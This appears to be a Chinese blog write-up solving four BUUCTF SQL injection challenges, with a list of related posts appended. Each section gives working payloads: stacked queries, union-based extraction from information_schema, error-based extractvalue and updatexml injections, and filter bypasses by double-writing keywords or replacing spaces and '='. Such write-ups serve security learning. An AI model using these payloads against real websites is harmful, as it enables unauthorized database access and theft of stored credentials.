BUUCTF_SQL注入

1.[强网杯 2019]随便注1

题型同攻防世界的supersqli一致,详细过程看攻防世界_SQL注入

1.输入1

2.测试字段数,从1开始按顺序输,到3时报错,说明字段数为2.

1' order by 1 #

3.union注入,回显了过滤的关键字。

1' union select 1,2#

4.通过show databases爆出数据库。

0'; show databases; #

5.用 show tables 尝试爆表。

0'; show tables; #

(其上是各种尝试)

6.输入1' or 1 = 1,测试一下是否存在sql注入。

提交后提示error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1,说明后端参数后面有可能存在其他sql语句,我们在1' or 1 = 1后面加一个#,将可能存在的其他sql语句注释掉,即:1' or 1 = 1#,成功输出了该表的所有数据,有flag

输入1' or 1=1;# 得flag

2.[极客大挑战 2019]LoveSQL1

1.尝试用户名输入万能密码'or'1'='1'#

密码随便输入

发现用户名admin,密码17b4d307cc8b8f2b2428e9e38c0816d3,但不是flag。

2.在用户名处输入1,1',1"判断闭合方式

输入1'时报错,说明为''

3.判断字段数,从1开始按顺序输,到4时报错,说明字段数为3。

1' order by 3 #

1' order by 4 #

4.查看回显

用户输入1' union select 1,2,3 #

密码随意值

5.查看库名:

1' union select 1,2,database() #

6.查找表名:

1' union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=database()) #

7.查找列名:

1' union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name='l0ve1ysq1') #

8.得flag:

1' union select 1,2,(select group_concat(id,username,password) from l0ve1ysq1) #

查看页面源代码,复制flag。

(或者按F12,在URL处输入,其中#改为%23)

3.[极客大挑战 2019]HardSQL

1.尝试一下万能密码,不能用

双写再试一下发现也不行

2.(1)特殊字符测试:尝试输入一些SQL关键字(如 SELECT 、 INSERT 、 UPDATE 、 DELETE )、特殊符号(单引号 ' 、双引号 " 、分号 ; 、注释符号 -- 或 /* */ )。如果输入这些内容后,系统没有按照预期返回结果(如正常应该返回数据,但却返回错误提示或空结果),或者页面显示不正常,那么很可能这些字符被过滤了。

(2)使用Burp查看被过滤字符。

发现select、ascii、空格、=等被过滤

再加上之前页面的报错

就确定了需要用报错注入来做

随后构造注入语句

因为"="、"空格"被过滤了

所以就用常用的" like "和" () "来绕过

3.查找数据表名

1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))))#

1'^(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))#

4.查找列名

1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))#

1'^(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),1))#

5.查看内容

1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))#

输入后会发现他只给了你前半段的flag

因为extractvalue函数限制了一次字符串只能输出32位。

只需要使用left和right函数即可,{left(),right()}

最终语句为

1'^extractvalue(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1))))#

1'^(updatexml(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1))),1))#

拼接输入flag,发现不对,猜测中间还有

将30改为32

尝试改35,发现与flag的前一部分相同。

(我之前是直接拼接,没有去掉中间相同的部分。)

找flag的前后衔接处,拼接

最终得flag{8fdce764-338d-4a9c-9a02-17c9ce971b23}

4.[极客大挑战 2019]BabySQL

1.判断闭合方式

可在用户名处注入,也可在密码处注入。前者

用户名输入1,密码任意值,正常回显页面。

用户名输入1'密码任意值,报错。

2.尝试万能密码,报错,说明and or都有可能被过滤。

例:an(and)d,括号不用加)

输入1' oorr 1=1 #

3.判断字段数

order 变成了der,or被吞了,by被吞了,双写绕过

字段为3。

4.查找数据库名

1' union select database(),1,2 #报错,可能是union或者select中一个或者都是

经过尝试发现在union和select都双写后成功注入。

1' ununionion seselectlect database(),1,2 #

1' ununionion seselectlect 1,database(),2 #

1' ununionion seselectlect 1,2,database() #

发现一号位不是回显点,二三号位都是回显点。

5.查找数据表名

查询"geek"库下的表:

1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'#

6.查找列名

这两个表:'b4bsql,geekuser',题目名叫baby SQL,猜测要找到flag在"b4bsql"中,所以查询b4bsql:

1' ununionion seselectlect 1,2,group_concat(column_name)frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#

7.查询username,password中的内容

1' ununionion seselectlect 1,2,group_concat(username ,id , passwoorrd) frfromom b4bsql#

得flag。

相关推荐
鸿乃江边鸟2 天前
向量化和列式存储
大数据·sql·向量化
懒虫虫~3 天前
通过内存去重替换SQL中distinct,优化SQL查询效率
java·sql·慢sql治理
逛逛GitHub3 天前
1 个神级智能问数工具,刚开源就 1500 Star 了。
sql·github
Huhbbjs3 天前
SQL 核心概念与实践总结
开发语言·数据库·sql
咋吃都不胖lyh3 天前
SQL-字符串函数、数值函数、日期函数
sql
sensenlin913 天前
Mybatis中SQL全大写或全小写影响执行性能吗
数据库·sql·mybatis
xqlily3 天前
SQL 数据库简介
数据库·sql
森林-3 天前
MyBatis 从入门到精通(第三篇)—— 动态 SQL、关联查询与查询缓存
sql·缓存·mybatis
小虾米vivian3 天前
达梦:将sql通过shell脚本的方式放在后台执行
服务器·数据库·sql